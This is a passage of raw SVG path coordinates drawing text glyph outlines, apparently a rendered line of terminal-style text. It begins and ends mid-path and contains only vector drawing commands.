146.074V150H35.0117V146.074L32.2168 141.252ZM42.8398 144.193C42.293 144.193 41.8789 144.406 41.5977 144.832C41.3164 145.258 41.1758 145.889 41.1758 146.725C41.1758 147.557 41.3164 148.188 41.5977 148.617C41.8789 149.043 42.293 149.256 42.8398 149.256C43.3906 149.256 43.8066 149.043 44.0879 148.617C44.3691 148.188 44.5098 147.557 44.5098 146.725C44.5098 145.889 44.3691 145.258 44.0879 144.832C43.8066 144.406 43.3906 144.193 42.8398 144.193ZM42.8398 143.279C43.75 143.279 44.4453 143.574 44.9258 144.164C45.4102 144.754 45.6523 145.607 45.6523 146.725C45.6523 147.846 45.4121 148.701 44.9316 149.291C44.4512 149.877 43.7539 150.17 42.8398 150.17C41.9297 150.17 41.2344 149.877 40.7539 149.291C40.2734 148.701 40.0332 147.846 40.0332 146.725C40.0332 145.607 40.2734 144.754 40.7539 144.164C41.2344 143.574 41.9297 143.279 42.8398 143.279ZM47.6035 147.516V143.449H48.6816V147.516C48.6816 148.105 48.7852 148.539 48.9922 148.816C49.2031 149.094 49.5273 149.232 49.9648 149.232C50.4727 149.232 50.8613 149.055 51.1309 148.699C51.4004 148.34 51.5352 147.826 51.5352 147.158V143.449H52.6191V150H51.5352V149.016C51.3438 149.395 51.082 149.682 50.75 149.877C50.4219 150.072 50.0371 150.17 49.5957 150.17C48.9238 150.17 48.4238 149.951 48.0957 149.514C47.7676 149.072 47.6035 148.406 47.6035 147.516ZM67.1387 149.666C66.8496 149.834 66.5508 149.959 66.2422 150.041C65.9375 150.127 65.625 150.17 65.3047 150.17C64.2891 150.17 63.4941 149.865 62.9199 149.256C62.3496 148.646 62.0645 147.803 62.0645 146.725C62.0645 145.646 62.3496 144.803 62.9199 144.193C63.4941 143.584 64.2891 143.279 65.3047 143.279C65.6211 143.279 65.9297 143.32 66.2305 143.402C66.5312 143.484 66.834 143.611 67.1387 143.783V144.914C66.8535 144.66 66.5664 144.477 66.2773 144.363C65.9922 144.25 65.668 144.193 65.3047 144.193C64.6289 144.193 64.1094 144.412 63.7461 144.85C63.3828 145.287 63.2012 145.912 63.2012 146.725C63.2012 147.533 63.3828 148.158 63.7461 148.6C64.1133 149.037 64.6328 149.256 65.3047 149.256C65.6797 149.256 66.0156 149.199 66.3125 149.086C66.6094 148.969 66.8848 148.789 67.1387 148.547V149.666ZM72.2656 146.701H71.9082C71.2793 146.701 70.8047 146.812 70.4844 147.035C70.168 147.254 70.0098 147.582 70.0098 148.02C70.0098 148.414 70.1289 148.721 70.3672 148.939C70.6055 149.158 70.9355 149.268 71.3574 149.268C71.9512 149.268 72.418 149.062 72.7578 148.652C73.0977 148.238 73.2695 147.668 73.2734 146.941V146.701H72.2656ZM74.3574 146.256V150H73.2734V149.027C73.043 149.418 72.752 149.707 72.4004 149.895C72.0527 150.078 71.6289 150.17 71.1289 150.17C70.4609 150.17 69.9277 149.982 69.5293 149.607C69.1309 149.229 68.9316 148.723 68.9316 148.09C68.9316 147.359 69.1758 146.805 69.6641 146.426C70.1562 146.047 70.877 145.857 71.8262 145.857H73.2734V145.688C73.2695 145.164 73.1367 144.785 72.875 144.551C72.6133 144.312 72.1953 144.193 71.6211 144.193C71.2539 144.193 70.8828 144.246 70.5078 144.352C70.1328 144.457 69.7676 144.611 69.4121 144.814V143.736C69.8105 143.584 70.1914 143.471 70.5547 143.396C70.9219 143.318 71.2773 143.279 71.6211 143.279C72.1641 143.279 72.627 143.359 73.0098 143.52C73.3965 143.68 73.709 143.92 73.9473 144.24C74.0957 144.436 74.2012 144.678 74.2637 144.967C74.3262 145.252 74.3574 145.682 74.3574 146.256ZM81.541 145.934V150H80.457V145.934C80.457 145.344 80.3535 144.91 80.1465 144.633C79.9395 144.355 79.6152 144.217 79.1738 144.217C78.6699 144.217 78.2812 144.396 78.0078 144.756C77.7383 145.111 77.6035 145.623 77.6035 146.291V150H76.5254V143.438H77.6035V144.422C77.7949 144.047 78.0547 143.764 78.3828 143.572C78.7109 143.377 79.0996 143.279 79.5488 143.279C80.2168 143.279 80.7148 143.5 81.043 143.941C81.375 144.379 81.541 145.043 81.541 145.934ZM96.002 145.934V150H94.918V145.934C94.918 145.344 94.8145 144.91 94.6074 144.633C94.4004 144.355 94.0762 144.217 93.6348 144.217C93.1309 144.217 92.7422 144.396 92.4688 144.756C92.1992 145.111 92.0645 145.623 92.0645 146.291V150H90.9863V143.438H92.0645V144.422C92.2559 144.047 92.5156 143.764 92.8438 143.572C93.1719 143.377 93.5605 143.279 94.0098 143.279C94.6777 143.279 95.1758 143.5 95.5039 143.941C95.8359 144.379 96.002 145.043 96.002 145.934ZM100.684 144.193C100.137 144.193 99.7227 144.406 99.4414 144.832C99.1602 145.258 99.0195 145.889 99.0195 146.725C99.0195 147.557 99.1602 148.188 99.4414 148.617C99.7227 149.043 100.137 149.256 100.684 149.256C101.234 149.256 101.65 149.043 101.932 148.617C102.213 148.188 102.354 147.557 102.354 146.725C102.354 145.889 102.213 145.258 101.932 144.832C101.65 144.406 101.234 144.193 100.684 144.193ZM100.684 143.279C101.594 143.279 102.289 143.574 102.77 144.164C103.254 144.754 103.496 145.607 103.496 146.725C103.496 147.846 103.256 148.701 102.775 149.291C102.295 149.877 101.598 150.17 100.684 150.17C99.7734 150.17 99.0781 149.877 98.5977 149.291C98.1172 148.701 97.877 147.846 97.877 146.725C97.877 145.607 98.1172 144.754 98.5977 144.164C99.0781 143.574 99.7734 143.279 100.684 143.279ZM104.305 143.438H105.371L106.514 148.74L107.451 145.354H108.371L109.32 148.74L110.463 143.438H111.529L109.994 150H108.963L107.914 146.402L106.871 150H105.84L104.305 143.438ZM119.352 143.438H120.471L122.375 148.945L124.285 143.438H125.404L123.072 150H121.684L119.352 143.438ZM127.848 143.461H130.607V149.162H132.746V150H127.391V149.162H129.529V144.299H127.848V143.461ZM129.529 140.912H130.607V142.271H129.529V140.912ZM139.789 146.18V146.707H135.119V146.742C135.088 147.637 135.258 148.279 135.629 148.67C136.004 149.061 136.531 149.256 137.211 149.256C137.555 149.256 137.914 149.201 138.289 149.092C138.664 148.982 139.064 148.816 139.49 148.594V149.666C139.08 149.834 138.684 149.959 138.301 150.041C137.922 150.127 137.555 150.17 137.199 150.17C136.18 150.17 135.383 149.865 134.809 149.256C134.234 148.643 133.947 147.799 133.947 146.725C133.947 145.678 134.229 144.842 134.791 144.217C135.354 143.592 136.104 143.279 137.041 143.279C137.877 143.279 138.535 143.562 139.016 144.129C139.5 144.695 139.758 145.379 139.789 146.18ZM138.711 145.863C138.664 145.41 138.498 145.02 138.213 144.691C137.932 144.359 137.525 144.193 136.994 144.193C136.475 144.193 136.047 144.365 135.711 144.709C135.375 145.053 135.191 145.439 135.16 145.869L138.711 145.863ZM140.457 143.438H141.523L142.666 148.74L143.604 145.354H144.523L145.473 148.74L146.615 143.438H147.682L146.146 150H145.115L144.066 146.402L143.023 150H141.992L140.457 143.438ZM161.135 149.666C160.846 149.834 160.547 149.959 160.238 150.041C159.934 150.127 159.621 150.17 159.301 150.17C158.285 150.17 157.49 149.865 156.916 149.256C156.346 148.646 156.061 147.803 156.061 146.725C156.061 145.646 156.346 144.803 156.916 144.193C157.49 143.584 158.285 143.279 159.301 143.279C159.617 143.279 159.926 143.32 160.227 143.402C160.527 143.484 160.83 143.611 161.135 143.783V144.914C160.85 144.66 160.562 144.477 160.273 144.363C159.988 144.25 159.664 144.193 159.301 144.193C158.625 144.193 158.105 144.412 157.742 144.85C157.379 145.287 157.197 145.912 157.197 146.725C157.197 147.533 157.379 148.158 157.742 148.6C158.109 149.037 158.629 149.256 159.301 149.256C159.676 149.256 160.012 149.199 160.309 149.086C160.605 148.969 160.881 148.789 161.135 148.547V149.666ZM168.916 144.791C168.686 144.611 168.451 144.48 168.213 144.398C167.975 144.316 167.713 144.275 167.428 144.275C166.756 144.275 166.242 144.486 165.887 144.908C165.531 145.33 165.354 145.939 165.354 146.736V150H164.27V143.438H165.354V144.721C165.533 144.256 165.809 143.9 166.18 143.654C166.555 143.404 166.998 143.279 167.51 143.279C167.775 143.279 168.023 143.312 168.254 143.379C168.484 143.445 168.705 143.549 168.916 143.689V144.791ZM175.941 146.18V146.707H171.271V146.742C171.24 147.637 171.41 148.279 171.781 148.67C172.156 149.061 172.684 149.256 173.363 149.256C173.707 149.256 174.066 149.201 174.441 149.092C174.816 148.982 175.217 148.816 175.643 148.594V149.666C175.232 149.834 174.836 149.959 174.453 150.041C174.074 150.127 173.707 150.17 173.352 150.17C172.332 150.17 171.535 149.865 170.961 149.256C170.387 148.643 170.1 147.799 170.1 146.725C170.1 145.678 170.381 144.842 170.943 144.217C171.506 143.592 172.256 143.279 173.193 143.279C174.029 143.279 174.688 143.562 175.168 144.129C175.652 144.695 175.91 145.379 175.941 146.18ZM174.863 145.863C174.816 145.41 174.65 145.02 174.365 144.691C174.084 144.359 173.678 144.193 173.146 144.193C172.627 144.193 172.199 144.365 171.863 144.709C171.527 145.053 171.344 145.439 171.312 145.869L174.863 145.863ZM180.723 146.701H180.365C179.736 146.701 179.262 146.812 178.941 147.035C178.625 147.254 178.467 147.582 178.467 148.02C178.467 148.414 178.586 148.721 178.824 148.939C179.062 149.158 179.393 149.268 179.814 149.268C180.408 149.268 180.875 149.062 181.215 148.652C181.555 148.238 181.727 147.668 181.73 146.941V146.701H180.723ZM182.814 146.256V150H181.73V149.027C181.5 149.418 181.209 149.707 180.857 149.895C180.51 150.078 180.086 150.17 179.586 150.17C178.918 150.17 178.385 149.982 177.986 149.607C177.588 149.229 177.389 148.723 177.389 148.09C177.389 147.359 177.633 146.805 178.121 146.426C178.613 146.047 179.334 145.857 180.283 145.857H181.73V145.688C181.727 145.164 181.594 144.785 181.332 144.551C181.07 144.312 180.652 144.193 180.078 144.193C179.711 144.193 179.34 144.246 178.965 144.352C178.59 144.457 178.225 144.611 177.869 144.814V143.736C178.268 143.584 178.648 143.471 179.012 143.396C179.379 143.318 179.734 143.279 180.078 143.279C180.621 143.279 181.084 143.359 181.467 143.52C181.854 143.68 182.166 143.92 182.404 144.24C182.553 144.436 182.658 144.678 182.721 144.967C182.783 145.252 182.814 145.682 182.814 146.256ZM187.438 141.574V143.438H189.887V144.275H187.438V147.838C187.438 148.322 187.529 148.66 187.713 148.852C187.896 149.043 188.217 149.139 188.674 149.139H189.887V150H188.568C187.76 150 187.189 149.838 186.857 149.514C186.525 149.189 186.359 148.631 186.359 147.838V144.275H184.607V143.438H186.359V141.574H187.438ZM197.633 146.18V146.707H192.963V146.742C192.932 147.637 193.102 148.279 193.473 148.67C193.848 149.061 194.375 149.256 195.055 149.256C195.398 149.256 195.758 149.201 196.133 149.092C196.508 148.982 196.908 148.816 197.334 148.594V149.666C196.924 149.834 196.527 149.959 196.145 150.041C195.766 150.127 195.398 150.17 195.043 150.17C194.023 150.17 193.227 149.865 192.652 149.256C192.078 148.643 191.791 147.799 191.791 146.725C191.791 145.678 192.072 144.842 192.635 144.217C193.197 143.592 193.947 143.279 194.885 143.279C195.721 143.279 196.379 143.562 196.859 144.129C197.344 144.695 197.602 145.379 197.633 146.18ZM196.555 145.863C196.508 145.41 196.342 145.02 196.057 144.691C195.775 144.359 195.369 144.193 194.838 144.193C194.318 144.193 193.891 144.365 193.555 144.709C193.219 145.053 193.035 145.439 193.004 145.869L196.555 145.863ZM198.898 145.758H205.109V146.748H198.898V145.758ZM212.299 144.791C212.068 144.611 211.834 144.48 211.596 144.398C211.357 144.316 211.096 144.275 210.811 144.275C210.139 144.275 209.625 144.486 209.27 144.908C208.914 145.33 208.736 145.939 208.736 146.736V150H207.652V143.438H208.736V144.721C208.916 144.256 209.191 143.9 209.562 143.654C209.938 143.404 210.381 143.279 210.893 143.279C211.158 143.279 211.406 143.312 211.637 143.379C211.867 143.445 212.088 143.549 212.299 143.689V144.791ZM219.324 146.18V146.707H214.654V146.742C214.623 147.637 214.793 148.279 215.164 148.67C215.539 149.061 216.066 149.256 216.746 149.256C217.09 149.256 217.449 149.201 217.824 149.092C218.199 148.982 218.6 148.816 219.025 148.594V149.666C218.615 149.834 218.219 149.959 217.836 150.041C217.457 150.127 217.09 150.17 216.734 150.17C215.715 150.17 214.918 149.865 214.344 149.256C213.77 148.643 213.482 147.799 213.482 146.725C213.482 145.678 213.764 144.842 214.326 144.217C214.889 143.592 215.639 143.279 216.576 143.279C217.412 143.279 218.07 143.562 218.551 144.129C219.035 144.695 219.293 145.379 219.324 146.18ZM218.246 145.863C218.199 145.41 218.033 145.02 217.748 144.691C217.467 144.359 217.061 144.193 216.529 144.193C216.01 144.193 215.582 144.365 215.246 144.709C214.91 145.053 214.727 145.439 214.695 145.869L218.246 145.863ZM224.105 146.701H223.748C223.119 146.701 222.645 146.812 222.324 147.035C222.008 147.254 221.85 147.582 221.85 148.02C221.85 148.414 221.969 148.721 222.207 148.939C222.445 149.158 222.775 149.268 223.197 149.268C223.791 149.268 224.258 149.062 224.598 148.652C224.938 148.238 225.109 147.668 225.113 146.941V146.701H224.105ZM226.197 146.256V150H225.113V149.027C224.883 149.418 224.592 149.707 224.24 149.895C223.893 150.078 223.469 150.17 222.969 150.17C222.301 150.17 221.768 149.982 221.369 149.607C220.971 149.229 220.771 148.723 220.771 148.09C220.771 147.359 221.016 146.805 221.504 146.426C221.996 146.047 222.717 145.857 223.666 145.857H225.113V145.688C225.109 145.164 224.977 144.785 224.715 144.551C224.453 144.312 224.035 144.193 223.461 144.193C223.094 144.193 222.723 144.246 222.348 144.352C221.973 144.457 221.607 144.611 221.252 144.814V143.736C221.65 143.584 222.031 143.471 222.395 143.396C222.762 143.318 223.117 143.279 223.461 143.279C224.004 143.279 224.467 143.359 224.85 143.52C225.236 143.68 225.549 143.92 225.787 144.24C225.936 144.436 226.041 144.678 226.104 144.967C226.166 145.252 226.197 145.682 226.197 146.256ZM233.439 149.666C233.15 149.834 232.852 149.959 232.543 150.041C232.238 150.127 231.926 150.17 231.605 150.17C230.59 150.17 229.795 149.865 229.221 149.256C228.65 148.646 228.365 147.803 228.365 146.725C228.365 145.646 228.65 144.803 229.221 144.193C229.795 143.584 230.59 143.279 231.605 143.279C231.922 143.279 232.23 143.32 232.531 143.402C232.832 143.484 233.135 143.611 233.439 143.783V144.914C233.154 144.66 232.867 144.477 232.578 144.363C232.293 144.25 231.969 144.193 231.605 144.193C230.93 144.193 230.41 144.412 230.047 144.85C229.684 145.287 229.502 145.912 229.502 146.725C229.502 147.533 229.684 148.158 230.047 148.6C230.414 149.037 230.934 149.256 231.605 149.256C231.98 149.256 232.316 149.199 232.613 149.086C232.91 148.969 233.186 148.789 233.439 148.547V149.666ZM238.051 141.574V143.438H240.5V144.275H238.051V147.838C238.051 148.322 238.143 148.66 238.326 148.852C238.51 149.043 238.83 149.139 239.287 149.139H240.5V150H239.182C238.373 150 237.803 149.838 237.471 149.514C237.139 149.189 236.973 148.631 236.973 147.838V144.275H235.221V143.438H236.973V141.574H238.051ZM242.281 145.758H248.492V146.748H242.281V145.758ZM253.027 146.701H252.67C252.041 146.701 251.566 146.812 251.246 147.035C250.93 147.254 250.771 147.582 250.771 148.02C250.771 148.414 250.891 148.721 251.129 148.939C251.367 149.158 251.697 149.268 252.119 149.268C252.713 149.268 253.18 149.062 253.52 148.652C253.859 148.238 254.031 147.668 254.035 146.941V146.701H253.027ZM255.119 146.256V150H254.035V149.027C253.805 149.418 253.514 149.707 253.162 149.895C252.814 150.078 252.391 150.17 251.891 150.17C251.223 150.17 250.689 149.982 250.291 149.607C249.893 149.229 249.693 148.723 249.693 148.09C249.693 147.359 249.938 146.805 250.426 146.426C250.918 146.047 251.639 145.857 252.588 145.857H254.035V145.688C254.031 145.164 253.898 144.785 253.637 144.551C253.375 144.312 252.957 144.193 252.383 144.193C252.016 144.193 251.645 144.246 251.27 144.352C250.895 144.457 250.529 144.611 250.174 144.814V143.736C250.572 143.584 250.953 143.471 251.316 143.396C251.684 143.318 252.039 143.279 252.383 143.279C252.926 143.279 253.389 143.359 253.771 143.52C254.158 143.68 254.471 143.92 254.709 144.24C254.857 144.436 254.963 144.678 255.025 144.967C255.088 145.252 255.119 145.682 255.119 146.256ZM258.342 149.174V152.496H257.258V143.438H258.342V144.275C258.521 143.951 258.76 143.705 259.057 143.537C259.357 143.365 259.703 143.279 260.094 143.279C260.887 143.279 261.508 143.586 261.957 144.199C262.41 144.812 262.637 145.662 262.637 146.748C262.637 147.814 262.41 148.652 261.957 149.262C261.504 149.867 260.883 150.17 260.094 150.17C259.695 150.17 259.346 150.086 259.045 149.918C258.748 149.746 258.514 149.498 258.342 149.174ZM261.506 146.725C261.506 145.889 261.373 145.258 261.107 144.832C260.846 144.406 260.455 144.193 259.936 144.193C259.412 144.193 259.016 144.408 258.746 144.838C258.477 145.264 258.342 145.893 258.342 146.725C258.342 147.553 258.477 148.182 258.746 148.611C259.016 149.041 259.412 149.256 259.936 149.256C260.455 149.256 260.846 149.043 261.107 148.617C261.373 148.191 261.506 147.561 261.506 146.725ZM265.572 149.174V152.496H264.488V143.438H265.572V144.275C265.752 143.951 265.99 143.705 266.287 143.537C266.588 143.365 266.934 143.279 267.324 143.279C268.117 143.279 268.738 143.586 269.188 144.199C269.641 144.812 269.867 145.662 269.867 146.748C269.867 147.814 269.641 148.652 269.188 149.262C268.734 149.867 268.113 150.17 267.324 150.17C266.926 150.17 266.576 150.086 266.275 149.918C265.979 149.746 265.744 149.498 265.572 149.174ZM268.736 146.725C268.736 145.889 268.604 145.258 268.338 144.832C268.076 144.406 267.686 144.193 267.166 144.193C266.643 144.193 266.246 144.408 265.977 144.838C265.707 145.264 265.572 145.893 265.572 146.725C265.572 147.553 265.707 148.182 265.977 148.611C266.246 149.041 266.643 149.256 267.166 149.256C267.686 149.256 268.076 149.043 268.338 148.617C268.604 148.191 268.736 147.561 268.736 146.725ZM279.688 143.461H282.447V149.162H284.586V150H279.23V149.162H281.369V144.299H279.688V143.461ZM281.369 140.912H282.447V142.271H281.369V140.912ZM291.225 145.934V150H290.141V145.934C290.141 145.344 290.037 144.91 289.83 144.633C289.623 144.355 289.299 144.217 288.857 144.217C288.354 144.217 287.965 144.396 287.691 144.756C287.422 145.111 287.287 145.623 287.287 146.291V150H286.209V143.438H287.287V144.422C287.479 144.047 287.738 143.764 288.066 143.572C288.395 143.377 288.783 143.279 289.232 143.279C289.9 143.279 290.398 143.5 290.727 143.941C291.059 144.379 291.225 145.043 291.225 145.934ZM303.125 141.574V143.438H305.574V144.275H303.125V147.838C303.125 148.322 303.217 148.66 303.4 148.852C303.584 149.043 303.904 149.139 304.361 149.139H305.574V150H304.256C303.447 150 302.877 149.838 302.545 149.514C302.213 149.189 302.047 148.631 302.047 147.838V144.275H300.295V143.438H302.047V141.574H303.125ZM312.916 145.934V150H311.832V145.934C311.832 145.344 311.729 144.91 311.521 144.633C311.314 144.355 310.99 144.217 310.549 144.217C310.045 144.217 309.656 144.396 309.383 144.756C309.113 145.111 308.979 145.623 308.979 146.291V150H307.9V140.883H308.979V144.422C309.17 144.047 309.43 143.764 309.758 143.572C310.086 143.377 310.475 143.279 310.924 143.279C311.592 143.279 312.09 143.5 312.418 143.941C312.75 144.379 312.916 145.043 312.916 145.934ZM320.551 146.18V146.707H315.881V146.742C315.85 147.637 316.02 148.279 316.391 148.67C316.766 149.061 317.293 149.256 317.973 149.256C318.316 149.256 318.676 149.201 319.051 149.092C319.426 148.982 319.826 148.816 320.252 148.594V149.666C319.842 149.834 319.445 149.959 319.062 150.041C318.684 150.127 318.316 150.17 317.961 150.17C316.941 150.17 316.145 149.865 315.57 149.256C314.996 148.643 314.709 147.799 314.709 146.725C314.709 145.678 314.99 144.842 315.553 144.217C316.115 143.592 316.865 143.279 317.803 143.279C318.639 143.279 319.297 143.562 319.777 144.129C320.262 144.695 320.52 145.379 320.551 146.18ZM319.473 145.863C319.426 145.41 319.26 145.02 318.975 144.691C318.693 144.359 318.287 144.193 317.756 144.193C317.236 144.193 316.809 144.365 316.473 144.709C316.137 145.053 315.953 145.439 315.922 145.869L319.473 145.863ZM333.828 146.725C333.828 145.889 333.695 145.258 333.43 144.832C333.164 144.406 332.771 144.193 332.252 144.193C331.729 144.193 331.332 144.408 331.062 144.838C330.793 145.264 330.658 145.893 330.658 146.725C330.658 147.553 330.793 148.182 331.062 148.611C331.332 149.041 331.729 149.256 332.252 149.256C332.771 149.256 333.164 149.043 333.43 148.617C333.695 148.191 333.828 147.561 333.828 146.725ZM330.658 144.275C330.83 143.955 331.066 143.709 331.367 143.537C331.672 143.365 332.023 143.279 332.422 143.279C333.211 143.279 333.832 143.584 334.285 144.193C334.738 144.799 334.965 145.635 334.965 146.701C334.965 147.783 334.736 148.633 334.279 149.25C333.826 149.863 333.203 150.17 332.41 150.17C332.02 150.17 331.674 150.086 331.373 149.918C331.076 149.746 330.838 149.498 330.658 149.174V150H329.58V140.883H330.658V144.275ZM342.447 144.791C342.217 144.611 341.982 144.48 341.744 144.398C341.506 144.316 341.244 144.275 340.959 144.275C340.287 144.275 339.773 144.486 339.418 144.908C339.062 145.33 338.885 145.939 338.885 146.736V150H337.801V143.438H338.885V144.721C339.064 144.256 339.34 143.9 339.711 143.654C340.086 143.404 340.529 143.279 341.041 143.279C341.307 143.279 341.555 143.312 341.785 143.379C342.016 143.445 342.236 143.549 342.447 143.689V144.791ZM346.52 144.193C345.973 144.193 345.559 144.406 345.277 144.832C344.996 145.258 344.855 145.889 344.855 146.725C344.855 147.557 344.996 148.188 345.277 148.617C345.559 149.043 345.973 149.256 346.52 149.256C347.07 149.256 347.486 149.043 347.768 148.617C348.049 148.188 348.189 147.557 348.189 146.725C348.189 145.889 348.049 145.258 347.768 144.832C347.486 144.406 347.07 144.193 346.52 144.193ZM346.52 143.279C347.43 143.279 348.125 143.574 348.605 144.164C349.09 144.754 349.332 145.607 349.332 146.725C349.332 147.846 349.092 148.701 348.611 149.291C348.131 149.877 347.434 150.17 346.52 150.17C345.609 150.17 344.914 149.877 344.434 149.291C343.953 148.701 343.713 147.846 343.713 146.725C343.713 145.607 343.953 144.754 344.434 144.164C344.914 143.574 345.609 143.279 346.52 143.279ZM350.141 143.438H351.207L352.35 148.74L353.287 145.354H354.207L355.156 148.74L356.299 143.438H357.365L355.83 150H354.799L353.75 146.402L352.707 150H351.676L350.141 143.438ZM363.072 143.666V144.721C362.764 144.541 362.453 144.406 362.141 144.316C361.828 144.227 361.51 144.182 361.186 144.182C360.697 144.182 360.332 144.262 360.09 144.422C359.852 144.578 359.732 144.818 359.732 145.143C359.732 145.436 359.822 145.654 360.002 145.799C360.182 145.943 360.629 146.084 361.344 146.221L361.777 146.303C362.312 146.404 362.717 146.607 362.99 146.912C363.268 147.217 363.406 147.613 363.406 148.102C363.406 148.75 363.176 149.258 362.715 149.625C362.254 149.988 361.613 150.17 360.793 150.17C360.469 150.17 360.129 150.135 359.773 150.064C359.418 149.998 359.033 149.896 358.619 149.76V148.646C359.021 148.854 359.406 149.01 359.773 149.115C360.141 149.217 360.488 149.268 360.816 149.268C361.293 149.268 361.662 149.172 361.924 148.98C362.186 148.785 362.316 148.514 362.316 148.166C362.316 147.666 361.838 147.32 360.881 147.129L360.834 147.117L360.43 147.035C359.809 146.914 359.355 146.711 359.07 146.426C358.785 146.137 358.643 145.744 358.643 145.248C358.643 144.619 358.855 144.135 359.281 143.795C359.707 143.451 360.314 143.279 361.104 143.279C361.455 143.279 361.793 143.312 362.117 143.379C362.441 143.441 362.76 143.537 363.072 143.666ZM371.164 146.18V146.707H366.494V146.742C366.463 147.637 366.633 148.279 367.004 148.67C367.379 149.061 367.906 149.256 368.586 149.256C368.93 149.256 369.289 149.201 369.664 149.092C370.039 148.982 370.439 148.816 370.865 148.594V149.666C370.455 149.834 370.059 149.959 369.676 150.041C369.297 150.127 368.93 150.17 368.574 150.17C367.555 150.17 366.758 149.865 366.184 149.256C365.609 148.643 365.322 147.799 365.322 146.725C365.322 145.678 365.604 144.842 366.166 144.217C366.729 143.592 367.479 143.279 368.416 143.279C369.252 143.279 369.91 143.562 370.391 144.129C370.875 144.695 371.133 145.379 371.164 146.18ZM370.086 145.863C370.039 145.41 369.873 145.02 369.588 144.691C369.307 144.359 368.9 144.193 368.369 144.193C367.85 144.193 367.422 144.365 367.086 144.709C366.75 145.053 366.566 145.439 366.535 145.869L370.086 145.863ZM378.6 144.791C378.369 144.611 378.135 144.48 377.896 144.398C377.658 144.316 377.396 144.275 377.111 144.275C376.439 144.275 375.926 144.486 375.57 144.908C375.215 145.33 375.037 145.939 375.037 146.736V150H373.953V143.438H375.037V144.721C375.217 144.256 375.492 143.9 375.863 143.654C376.238 143.404 376.682 143.279 377.193 143.279C377.459 143.279 377.707 143.312 377.938 143.379C378.168 143.445 378.389 143.549 378.6 143.689V144.791ZM381.342 147.633H383.404V150H381.342V147.633ZM47.7207 177.252H48.9102V185.004H53.1348V186H47.7207V177.252ZM57.3008 180.193C56.7539 180.193 56.3398 180.406 56.0586 180.832C55.7773 181.258 55.6367 181.889 55.6367 182.725C55.6367 183.557 55.7773 184.188 56.0586 184.617C56.3398 185.043 56.7539 185.256 57.3008 185.256C57.8516 185.256 58.2676 185.043 58.5488 184.617C58.8301 184.188 58.9707 183.557 58.9707 182.725C58.9707 181.889 58.8301 181.258 58.5488 180.832C58.2676 180.406 57.8516 180.193 57.3008 180.193ZM57.3008 179.279C58.2109 179.279 58.9062 179.574 59.3867 180.164C59.8711 180.754 60.1133 181.607 60.1133 182.725C60.1133 183.846 59.873 184.701 59.3926 185.291C58.9121 185.877 58.2148 186.17 57.3008 186.17C56.3906 186.17 55.6953 185.877 55.2148 185.291C54.7344 184.701 54.4941 183.846 54.4941 182.725C54.4941 181.607 54.7344 180.754 55.2148 180.164C55.6953 179.574 56.3906 179.279 57.3008 179.279ZM67.1387 185.666C66.8496 185.834 66.5508 185.959 66.2422 186.041C65.9375 186.127 65.625 186.17 65.3047 186.17C64.2891 186.17 63.4941 185.865 62.9199 185.256C62.3496 184.646 62.0645 183.803 62.0645 182.725C62.0645 181.646 62.3496 180.803 62.9199 180.193C63.4941 179.584 64.2891 179.279 65.3047 179.279C65.6211 179.279 65.9297 179.32 66.2305 179.402C66.5312 179.484 66.834 179.611 67.1387 179.783V180.914C66.8535 180.66 66.5664 180.477 66.2773 180.363C65.9922 180.25 65.668 180.193 65.3047 180.193C64.6289 180.193 64.1094 180.412 63.7461 180.85C63.3828 181.287 63.2012 181.912 63.2012 182.725C63.2012 183.533 63.3828 184.158 63.7461 184.6C64.1133 185.037 64.6328 185.256 65.3047 185.256C65.6797 185.256 66.0156 185.199 66.3125 185.086C66.6094 184.969 66.8848 184.789 67.1387 184.547V185.666ZM72.2656 182.701H71.9082C71.2793 182.701 70.8047 182.812 70.4844 183.035C70.168 183.254 70.0098 183.582 70.0098 184.02C70.0098 184.414 70.1289 184.721 70.3672 184.939C70.6055 185.158 70.9355 185.268 71.3574 185.268C71.9512 185.268 72.418 185.062 72.7578 184.652C73.0977 184.238 73.2695 183.668 73.2734 182.941V182.701H72.2656ZM74.3574 182.256V186H73.2734V185.027C73.043 185.418 72.752 185.707 72.4004 185.895C72.0527 186.078 71.6289 186.17 71.1289 186.17C70.4609 186.17 69.9277 185.982 69.5293 185.607C69.1309 185.229 68.9316 184.723 68.9316 184.09C68.9316 183.359 69.1758 182.805 69.6641 182.426C70.1562 182.047 70.877 181.857 71.8262 181.857H73.2734V181.688C73.2695 181.164 73.1367 180.785 72.875 180.551C72.6133 180.312 72.1953 180.193 71.6211 180.193C71.2539 180.193 70.8828 180.246 70.5078 180.352C70.1328 180.457 69.7676 180.611 69.4121 180.814V179.736C69.8105 179.584 70.1914 179.471 70.5547 179.396C70.9219 179.318 71.2773 179.279 71.6211 179.279C72.1641 179.279 72.627 179.359 73.0098 179.52C73.3965 179.68 73.709 179.92 73.9473 180.24C74.0957 180.436 74.2012 180.678 74.2637 180.967C74.3262 181.252 74.3574 181.682 74.3574 182.256ZM79.5957 183.627C79.5957 184.111 79.6836 184.477 79.8594 184.723C80.0391 184.969 80.3027 185.092 80.6504 185.092H81.9102V186H80.5449C79.9004 186 79.4004 185.795 79.0449 185.385C78.6934 184.971 78.5176 184.385 78.5176 183.627V177.691H76.7891V176.848H79.5957V183.627ZM85.127 179.443H86.9551V181.559H85.127V179.443ZM85.127 183.867H86.9551V186H85.127V183.867ZM182.768 181.934V186H181.684V181.934C181.684 181.344 181.58 180.91 181.373 180.633C181.166 180.355 180.842 180.217 180.4 180.217C179.896 180.217 179.508 180.396 179.234 180.756C178.965 181.111 178.83 181.623 178.83 182.291V186H177.752V176.883H178.83V180.422C179.021 180.047 179.281 179.764 179.609 179.572C179.938 179.377 180.326 179.279 180.775 179.279C181.443 179.279 181.941 179.5 182.27 179.941C182.602 180.379 182.768 181.043 182.768 181.934ZM187.438 177.574V179.438H189.887V180.275H187.438V183.838C187.438 184.322 187.529 184.66 187.713 184.852C187.896 185.043 188.217 185.139 188.674 185.139H189.887V186H188.568C187.76 186 187.189 185.838 186.857 185.514C186.525 185.189 186.359 184.631 186.359 183.838V180.275H184.607V179.438H186.359V177.574H187.438ZM194.668 177.574V179.438H197.117V180.275H194.668V183.838C194.668 184.322 194.76 184.66 194.943 184.852C195.127 185.043 195.447 185.139 195.904 185.139H197.117V186H195.799C194.99 186 194.42 185.838 194.088 185.514C193.756 185.189 193.59 184.631 193.59 183.838V180.275H191.838V179.438H193.59V177.574H194.668ZM200.498 185.174V188.496H199.414V179.438H200.498V180.275C200.678 179.951 200.916 179.705 201.213 179.537C201.514 179.365 201.859 179.279 202.25 179.279C203.043 179.279 203.664 179.586 204.113 180.199C204.566 180.812 204.793 181.662 204.793 182.748C204.793 183.814 204.566 184.652 204.113 185.262C203.66 